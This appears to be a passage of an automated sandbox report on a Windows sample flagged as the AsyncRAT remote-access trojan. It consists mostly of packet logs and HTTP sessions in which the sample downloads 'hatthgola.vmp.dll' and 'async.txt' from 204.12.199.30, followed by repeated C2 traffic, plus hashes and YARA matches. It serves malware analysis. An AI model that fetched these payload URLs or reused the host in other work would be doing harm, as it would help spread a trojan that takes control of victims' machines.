Apr 19, 2024 11:37:09.685147047 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.685163021 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.685180902 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.685198069 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.685214043 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.685224056 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:09.685230017 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.685246944 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.685261965 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:09.685262918 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.685262918 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:09.685286045 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.685287952 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:09.685322046 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:09.685334921 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.685372114 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:09.817135096 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.817166090 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.817184925 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.817200899 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.817220926 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.817240000 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.817241907 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:09.817257881 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.817275047 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.817284107 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:09.817292929 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.817301989 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:09.817312956 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.817321062 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:09.817331076 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.817358971 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:09.817358971 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:09.817405939 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:09.949321985 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.949346066 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.949363947 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.949381113 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.949397087 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.949414015 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.949434042 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.949450970 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.949448109 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:09.949448109 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:09.949469090 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.949484110 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.949501038 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.949517965 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:09.949551105 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:09.949551105 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:09.949552059 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:09.990243912 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:10.081551075 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.081578016 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.081594944 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.081615925 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.081633091 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.081650019 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.081656933 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:10.081681967 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.081698895 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.081713915 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:10.081716061 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.081733942 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.081752062 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.081758976 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:10.081758976 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:10.081768036 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.081789970 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:10.081828117 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:10.081828117 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:10.213613987 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.213628054 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.213646889 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.213670015 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.213680029 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.213697910 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.213707924 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.213716984 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.213715076 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:10.213776112 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:10.213776112 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:10.213783979 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.213793993 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.213809967 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.213819981 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.213835955 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.213901043 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:10.213901043 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:10.255980968 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:10.345520020 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.345536947 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.345561981 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.345571041 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.345587969 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.345597029 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.345613003 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.345622063 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.345632076 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.345629930 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:10.345693111 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:10.345730066 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.345741034 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.345757961 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.345771074 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:10.345838070 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:10.345838070 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:10.356380939 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.396522045 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:10.477511883 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.477535009 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.477544069 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.477555037 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.477565050 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.477581978 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.477638960 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:10.477663040 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.477674007 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.477682114 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.477684021 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:10.477684021 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:10.477690935 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.477699041 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:10.477699995 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.477741003 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:10.477741957 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:10.477758884 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:10.477773905 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.477786064 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.477850914 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:10.528306007 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.568358898 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:10.609469891 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.609493971 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.609503984 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.609513998 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.609596968 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.609606028 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.609606981 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:10.609606981 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:10.609622002 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.609632015 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.609658003 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:10.609658003 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:10.609708071 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.609719038 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.609734058 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.609743118 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.609743118 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:10.609752893 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.609759092 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:10.609783888 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:10.609783888 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:10.610223055 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:10.620433092 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.620459080 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.620533943 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:10.620533943 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:10.741648912 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.741688967 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.741734028 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.741756916 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.741781950 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:10.741797924 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.741837978 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:10.741934061 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:10.742733955 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:10.874475956 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.874547958 CEST	20991	49709	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:10.874900103 CEST	49709	20991	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:15.457453966 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:15.590060949 CEST	8808	49710	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:15.590194941 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:15.810542107 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:15.963562012 CEST	8808	49710	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:15.963599920 CEST	8808	49710	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:15.963671923 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:15.963700056 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:15.970418930 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:16.105680943 CEST	8808	49710	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:16.146516085 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:17.323731899 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:17.500818014 CEST	8808	49710	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:17.500890970 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:17.687899113 CEST	8808	49710	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:20.997813940 CEST	8808	49710	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:21.037179947 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:21.169116974 CEST	8808	49710	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:21.209019899 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:28.803694010 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:28.977322102 CEST	8808	49710	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:28.977464914 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:29.109941959 CEST	8808	49710	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:29.162190914 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:29.294071913 CEST	8808	49710	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:29.294970036 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:29.470350981 CEST	8808	49710	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:29.470479012 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:29.655620098 CEST	8808	49710	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:40.287910938 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:40.469060898 CEST	8808	49710	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:40.470551968 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:40.603035927 CEST	8808	49710	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:40.646682978 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:40.778497934 CEST	8808	49710	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:40.779390097 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:40.964478016 CEST	8808	49710	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:40.964574099 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:41.150871038 CEST	8808	49710	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:51.002846956 CEST	8808	49710	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:51.052886009 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:51.184612989 CEST	8808	49710	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:51.224730968 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:51.772248030 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:51.946657896 CEST	8808	49710	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:51.946872950 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:52.079395056 CEST	8808	49710	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:52.131056070 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:52.262984037 CEST	8808	49710	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:52.264395952 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:52.440677881 CEST	8808	49710	204.12.199.30	192.168.2.7
Apr 19, 2024 11:37:52.441459894 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:37:52.625598907 CEST	8808	49710	204.12.199.30	192.168.2.7
Apr 19, 2024 11:38:03.256407022 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:38:03.440495014 CEST	8808	49710	204.12.199.30	192.168.2.7
Apr 19, 2024 11:38:03.440617085 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:38:03.573107004 CEST	8808	49710	204.12.199.30	192.168.2.7
Apr 19, 2024 11:38:03.615443945 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:38:03.747292042 CEST	8808	49710	204.12.199.30	192.168.2.7
Apr 19, 2024 11:38:03.748004913 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:38:03.932555914 CEST	8808	49710	204.12.199.30	192.168.2.7
Apr 19, 2024 11:38:03.932657003 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:38:04.118591070 CEST	8808	49710	204.12.199.30	192.168.2.7
Apr 19, 2024 11:38:14.740915060 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:38:14.914581060 CEST	8808	49710	204.12.199.30	192.168.2.7
Apr 19, 2024 11:38:14.914767027 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:38:15.047327042 CEST	8808	49710	204.12.199.30	192.168.2.7
Apr 19, 2024 11:38:15.099936008 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:38:15.232233047 CEST	8808	49710	204.12.199.30	192.168.2.7
Apr 19, 2024 11:38:15.232872963 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:38:15.409097910 CEST	8808	49710	204.12.199.30	192.168.2.7
Apr 19, 2024 11:38:15.409281015 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:38:15.594820976 CEST	8808	49710	204.12.199.30	192.168.2.7
Apr 19, 2024 11:38:20.999608040 CEST	8808	49710	204.12.199.30	192.168.2.7
Apr 19, 2024 11:38:21.053149939 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:38:21.184984922 CEST	8808	49710	204.12.199.30	192.168.2.7
Apr 19, 2024 11:38:21.224988937 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:38:26.225434065 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:38:26.411840916 CEST	8808	49710	204.12.199.30	192.168.2.7
Apr 19, 2024 11:38:26.412051916 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:38:26.545783997 CEST	8808	49710	204.12.199.30	192.168.2.7
Apr 19, 2024 11:38:26.600035906 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:38:26.731885910 CEST	8808	49710	204.12.199.30	192.168.2.7
Apr 19, 2024 11:38:26.732918978 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:38:26.906742096 CEST	8808	49710	204.12.199.30	192.168.2.7
Apr 19, 2024 11:38:26.906852007 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:38:27.092233896 CEST	8808	49710	204.12.199.30	192.168.2.7
Apr 19, 2024 11:38:37.709867001 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:38:37.889214993 CEST	8808	49710	204.12.199.30	192.168.2.7
Apr 19, 2024 11:38:37.889313936 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:38:38.021748066 CEST	8808	49710	204.12.199.30	192.168.2.7
Apr 19, 2024 11:38:38.068907022 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:38:38.200604916 CEST	8808	49710	204.12.199.30	192.168.2.7
Apr 19, 2024 11:38:38.201697111 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:38:38.383384943 CEST	8808	49710	204.12.199.30	192.168.2.7
Apr 19, 2024 11:38:38.383502960 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:38:38.569108009 CEST	8808	49710	204.12.199.30	192.168.2.7
Apr 19, 2024 11:38:49.194438934 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:38:49.375078917 CEST	8808	49710	204.12.199.30	192.168.2.7
Apr 19, 2024 11:38:49.375312090 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:38:49.507760048 CEST	8808	49710	204.12.199.30	192.168.2.7
Apr 19, 2024 11:38:49.553385019 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:38:49.685055971 CEST	8808	49710	204.12.199.30	192.168.2.7
Apr 19, 2024 11:38:49.685733080 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:38:49.872148991 CEST	8808	49710	204.12.199.30	192.168.2.7
Apr 19, 2024 11:38:49.872221947 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:38:50.058661938 CEST	8808	49710	204.12.199.30	192.168.2.7
Apr 19, 2024 11:38:51.005683899 CEST	8808	49710	204.12.199.30	192.168.2.7
Apr 19, 2024 11:38:51.053340912 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:38:51.185406923 CEST	8808	49710	204.12.199.30	192.168.2.7
Apr 19, 2024 11:38:51.240892887 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:39:00.678719997 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:39:00.850824118 CEST	8808	49710	204.12.199.30	192.168.2.7
Apr 19, 2024 11:39:00.851115942 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:39:00.988275051 CEST	8808	49710	204.12.199.30	192.168.2.7
Apr 19, 2024 11:39:01.037935972 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:39:01.169905901 CEST	8808	49710	204.12.199.30	192.168.2.7
Apr 19, 2024 11:39:01.170752048 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:39:01.343914986 CEST	8808	49710	204.12.199.30	192.168.2.7
Apr 19, 2024 11:39:01.344054937 CEST	49710	8808	192.168.2.7	204.12.199.30
Apr 19, 2024 11:39:01.529489040 CEST	8808	49710	204.12.199.30	192.168.2.7

HTTP Request Dependency Graph

204.12.199.30:20991

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49708	204.12.199.30	20991	180	C:\Users\user\Desktop\EGSh5caf8a.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 11:37:07.834968090 CEST	86	OUT	GET /hatthgola.vmp.dll HTTP/1.1 Host: 204.12.199.30:20991 Connection: Keep-Alive
Apr 19, 2024 11:37:07.981703997 CEST	329	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Content-Length: 16384 Accept-Ranges: bytes Server: HFS 2.3m Set-Cookie: HFS_SID_=0.29210929851979; path=/; HttpOnly ETag: B8459C44E049F7AFE6D704515E12AB08 Last-Modified: Sun, 24 Mar 2024 02:57:23 GMT Content-Disposition: attachment; filename="hatthgola.vmp.dll";

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49709	204.12.199.30	20991	180	C:\Users\user\Desktop\EGSh5caf8a.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 11:37:08.346025944 CEST	54	OUT	GET /async.txt HTTP/1.1 Host: 204.12.199.30:20991
Apr 19, 2024 11:37:08.495069027 CEST	297	IN	HTTP/1.1 200 OK Content-Type: text/plain Content-Length: 245760 Accept-Ranges: bytes Server: HFS 2.3m Set-Cookie: HFS_SID_=0.644596335012466; path=/; HttpOnly ETag: 7765FE6EAB1CAD4FDE4F581EBDCEC9E6 Last-Modified: Wed, 13 Mar 2024 13:18:06 GMT Content-Disposition: filename="async.txt";

Target ID:	0
Start time:	11:37:00
Start date:	19/04/2024
Path:	C:\Users\user\Desktop\EGSh5caf8a.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\EGSh5caf8a.exe"
Imagebase:	0x470000
File size:	93'896 bytes
MD5 hash:	712940BAEF78C821E36B8701BF073C52
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000000.00000002.1314795117.0000000002C4A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Asyncrat_11a11ba1, Description: unknown, Source: 00000000.00000002.1314795117.0000000002C4A000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse, Description: Detects file containing reversed ASEP Autorun registry keys, Source: 00000000.00000002.1314795117.0000000002C4A000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000000.00000002.1314795117.00000000028DA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Asyncrat_11a11ba1, Description: unknown, Source: 00000000.00000002.1314795117.00000000028DA000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse, Description: Detects file containing reversed ASEP Autorun registry keys, Source: 00000000.00000002.1314795117.00000000028DA000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

